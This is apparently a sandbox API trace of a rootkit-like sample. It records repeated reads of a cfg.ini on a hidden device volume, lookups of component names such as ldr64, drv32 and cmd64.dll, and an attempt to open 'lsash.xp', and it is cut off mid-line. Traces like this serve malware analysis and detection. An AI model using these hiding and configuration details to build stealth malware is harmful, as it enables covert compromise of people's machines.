[0127.701] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.701] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.701] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.702] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.702] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.702] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.702] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.702] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.702] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.702] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.702] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.702] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.702] KeLeaveCriticalRegion () [0127.702] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.702] ReleaseMutex (hMutex=0x100) returned 1 [0127.702] Sleep (dwMilliseconds=0x2bf20) [0127.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f4fcf90, dwHighDateTime=0x1d24fa4)) [0127.708] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.708] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.708] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.708] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.708] KeEnterCriticalRegion () [0127.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.708] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.708] IdePortDispatch () returned 0x103 [0127.708] KeWaitForMutexObject () returned 0x0 [0127.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.708] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.708] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.708] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.708] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.708] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1aa0 [0127.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.708] KeLeaveCriticalRegion () [0127.709] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.709] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.709] KeEnterCriticalRegion () [0127.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.709] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.709] KeLeaveCriticalRegion () [0127.709] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.709] KeEnterCriticalRegion () [0127.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.709] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.709] IdePortDispatch () returned 0x103 [0127.709] KeWaitForMutexObject () returned 0x0 [0127.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.709] KeLeaveCriticalRegion () [0127.709] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.709] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.709] KeEnterCriticalRegion () [0127.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8d000 [0127.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.709] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.709] IdePortDispatch () returned 0x103 [0127.709] KeWaitForMutexObject () returned 0x0 [0127.710] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.710] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.710] IdePortDispatch () returned 0x103 [0127.710] KeWaitForMutexObject () returned 0x0 [0127.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.710] KeLeaveCriticalRegion () [0127.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.710] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.710] KeEnterCriticalRegion () [0127.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.710] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.711] KeLeaveCriticalRegion () [0127.711] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.711] KeEnterCriticalRegion () [0127.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.711] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.711] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.711] KeLeaveCriticalRegion () [0127.711] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.711] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.711] KeEnterCriticalRegion () [0127.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.711] ExFreePoolWithTag (P=0xfffffa80037e1aa0, Tag=0x0) [0127.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.711] KeLeaveCriticalRegion () [0127.711] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.711] ReleaseMutex (hMutex=0xf0) returned 1 [0127.711] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.711] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.711] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.711] KeEnterCriticalRegion () [0127.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.711] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.711] IdePortDispatch () returned 0x103 [0127.711] KeWaitForMutexObject () returned 0x0 [0127.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.711] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.711] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.711] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc9b0 [0127.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.712] KeLeaveCriticalRegion () [0127.712] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.712] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.712] KeEnterCriticalRegion () [0127.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.712] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.712] KeLeaveCriticalRegion () [0127.712] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.712] KeEnterCriticalRegion () [0127.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.712] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.712] IdePortDispatch () returned 0x103 [0127.712] KeWaitForMutexObject () returned 0x0 [0127.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.712] KeLeaveCriticalRegion () [0127.712] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.712] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.712] KeEnterCriticalRegion () [0127.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8e000 [0127.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.712] IdePortDispatch () returned 0x103 [0127.712] KeWaitForMutexObject () returned 0x0 [0127.713] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.713] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.713] IdePortDispatch () returned 0x103 [0127.713] KeWaitForMutexObject () returned 0x0 [0127.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.713] KeLeaveCriticalRegion () [0127.713] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.713] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.713] KeEnterCriticalRegion () [0127.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.713] KeLeaveCriticalRegion () [0127.714] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.714] KeEnterCriticalRegion () [0127.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.714] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.714] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.714] KeLeaveCriticalRegion () [0127.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.714] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.714] KeEnterCriticalRegion () [0127.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.714] ExFreePoolWithTag (P=0xfffffa8003bfc9b0, Tag=0x0) [0127.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.714] KeLeaveCriticalRegion () [0127.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.714] ReleaseMutex (hMutex=0xf0) returned 1 [0127.714] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.714] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.714] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.714] KeEnterCriticalRegion () [0127.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.714] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.714] IdePortDispatch () returned 0x103 [0127.714] KeWaitForMutexObject () returned 0x0 [0127.714] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.714] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.714] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.714] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.714] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.714] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcd00 [0127.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.714] KeLeaveCriticalRegion () [0127.714] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.714] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.715] KeEnterCriticalRegion () [0127.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.715] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.715] KeLeaveCriticalRegion () [0127.715] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.715] KeEnterCriticalRegion () [0127.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.715] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.715] IdePortDispatch () returned 0x103 [0127.715] KeWaitForMutexObject () returned 0x0 [0127.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.715] KeLeaveCriticalRegion () [0127.715] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.715] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.715] KeEnterCriticalRegion () [0127.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8f000 [0127.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.715] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.715] IdePortDispatch () returned 0x103 [0127.715] KeWaitForMutexObject () returned 0x0 [0127.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.716] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.716] IdePortDispatch () returned 0x103 [0127.716] KeWaitForMutexObject () returned 0x0 [0127.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.716] KeLeaveCriticalRegion () [0127.716] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.716] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.716] KeEnterCriticalRegion () [0127.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.716] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.716] KeLeaveCriticalRegion () [0127.716] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.716] KeEnterCriticalRegion () [0127.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.716] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.717] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.717] KeLeaveCriticalRegion () [0127.717] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.717] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.717] KeEnterCriticalRegion () [0127.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.717] ExFreePoolWithTag (P=0xfffffa8003bfcd00, Tag=0x0) [0127.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.717] KeLeaveCriticalRegion () [0127.717] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.717] ReleaseMutex (hMutex=0xf0) returned 1 [0127.717] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.717] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.717] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.717] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.717] KeEnterCriticalRegion () [0127.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: 